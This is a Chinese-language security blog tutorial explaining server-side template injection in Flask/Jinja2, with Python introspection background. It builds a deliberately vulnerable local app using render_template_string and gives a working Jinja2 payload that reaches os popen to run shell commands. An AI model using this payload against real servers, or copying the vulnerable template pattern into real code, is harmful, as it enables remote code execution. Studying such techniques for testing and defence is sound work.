从 flask+jinjia2 认识 SSTI 服务端模板注入

推荐文章 https://portswigger.net/blog/server-side-template-injection

以 flask+jinja2 的 SSTI 为例分析 SSTI

SSTI

SSTI (Server-Side Template Injection) 服务端模板注入,那么要先了解模板是什么

模板

首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。

模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。

通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。

前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。

举个例子:(django)

前端代码:index.html

1
2
3
<html>
<div>{{ message }}</div>
</html>

后端代码:view.py

1
2
3
4
5
def index(request):
data = {
'message': 'hello world',
}
return render(request, 'index.html', data)

那么当我们去访问 index.html 这个页面的时候页面从后端拿到message的数据
呈现给用户的页面显示为:

1
2
3
<html>
<div>hello world</div>
</html>

SSTI

web 应用程序通过使用模板在网页中嵌入动态内容,那么如果显示的内容是用户可控的,可能首先会想到 XSS ,而存在 XSS 的地方很有可能存在 SSTI

本地测试(flask + jinja2)

新建一个 flask 项目:

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask, request, render_template, render_template_string
app = Flask(__name__)

@app.route('/hello/<name>')
def hello_world(name):
return render_template('welcome.html', name=name)

@app.route('/h/<name>', methods=['GET', 'POST'])
def hello(name):
template = '''
<div>
<h3>hello %s</h3>
</div>
''' % name
return render_template_string(template)

if __name__ == '__main__':
app.run(
host='127.0.0.1',
port=8000
)

index.html

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>this is a SSTI test</title>
</head>
<body>
<div>
<h3>hello {{ name }}</h3>
</div>
</body>
</html>

结果如图:

明显 flask 返回模板字符串的存在 XSS

第一个没有触发XSS的原因就是模板对符号进行了编码即用户对此不可控

继续在触发 XSS 的点进行 SSTI 测试:
最简单的 payload :

1
{{12312*213}}


代码执行成功
试下查看目录,payload:

1
{{''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('dir').read()}}


getshell 什么的也不用多说了

python 常用内建属性

__class__

__class__ 可以用来查看对象的类型,返回值为 type

1
2
3
4
5
6
>>> ''.__class__
<class 'str'>
>>> [].__class__
<class 'list'>
>>> ''.__class__.__class__
<class 'type'>

__bases__

__bases__ 可以列出该类的基类,返回值为 tuple

1
2
3
4
5
6
>>> ''.__class__.__bases__
(<class 'object'>,)
>>> ''.__class__.__bases__[0]
<class 'object'>
>>> ''.__class__.__bases__.__class__
<class 'tuple'>

__mro__

__mro__ 给出了 method resolution order ,即解析方法调用的顺序, 返回值为 tuple

1
2
3
4
5
6
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> ''.__class__.__class__.__mro__
(<class 'type'>, <class 'object'>)
>>> ''.__class__.__mro__.__class__
<class 'tuple'>

__subclasses__()

__subclasses__() 用于获取一个类的子类,返回值为 list

而__subclasses__ 的返回值则是 python 内建方法 builtin_function_or_method

1
2
3
4
5
6
7
8
9
10
>>> ''.__class__.__mro__[1].__subclasses__
<built-in method __subclasses__ of type object at 0x00007FFD2B796D30>
>>> ''.__class__.__mro__[1].__subclasses__.__class__
<class 'builtin_function_or_method'>
>>> ''.__class__.__mro__[1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>,
...
<class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class '__future__._Feature'>]
>>> ''.__class__.__mro__[1].__subclasses__().__class__
<class 'list'>

__globals__

__globals__ 用于返回一个当前空间下能使用的模块,方法和变量的字典

这个属性是对函数的操作,即:用法为函数名.__globals__

1
2
3
4
5
6
7
8
9
10
11
12
13
>>> class A():
... def __init__(self):
... pass
... def fun(self):
... print('A.fun')
...
>>> A.fun.__globals__
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'A': <class '__main__.A'>}
>>> classA = A()
>>> classA.fun.__globals__
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'A': <class '__main__.A'>, 'classA': <__main__.A object at 0x000001F2CA247F98>}
>>> classA.fun.__globals__.__class__
<class 'dict'>

__builtin__ 和 __builtins__

启动Python解释器或运行一个Python程序时,内建名称空间都是从__builtins__模块中加载的,只是__builtins__本身是对Python内建模块__builtin__的引用,而这种引用又分下面两种情况:

  • 如果是在主模块__main__中,__builtins__直接引用__builtin__模块,此时模块名__builtins__与模块名__builtin__指向的都是同一个模块,即内建模块(这里要注意变量名和对象本身的区别)
  • 如果不是在主模块中,那么__builtins__只是引用了__builtin__.__dict__

建议查看官方文档 python3 builtins

python2 __builtin__

1
2
3
4
5
6
7
# python 3.7.3
>>> dir('builtin')
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
>>> __builtins__
<module 'builtins' (built-in)>
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'WindowsError', 'ZeroDivisionError', '_', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']
1
2
3
4
5
6
# python 2.7.15
>>> import __builtin__
>>> __builtin__
<module '__builtin__' (built-in)>
>>> __builtins__
<module '__builtin__' (built-in)>

总结

  • flask + jinja2 的 SSTI 和 python 沙箱逃逸有密不可分的关系,只有自己把内建函数搞清楚才能在遇到的时候靠自己写出来payload

  • 遇到SSTI第一步一定要判断前后端是什么语言什么框架。

附:SSTI 模板判断导图,模板-语言关系图

图片来源:https://xzfile.aliyuncs.com/media/upload/picture/20181221165627-4d167624-04fe-1.png


参考文章:

https://xz.aliyun.com/t/3679
http://blog.knownsec.com/2015/11/server-side-template-injection-attack-analysis/
https://blog.51cto.com/xpleaf/1764849
https://docs.python.org/3/
https://blog.csdn.net/qq_35078631/article/details/78504415

AbelChe wechat
扫码加微信
Donate here!!!
0%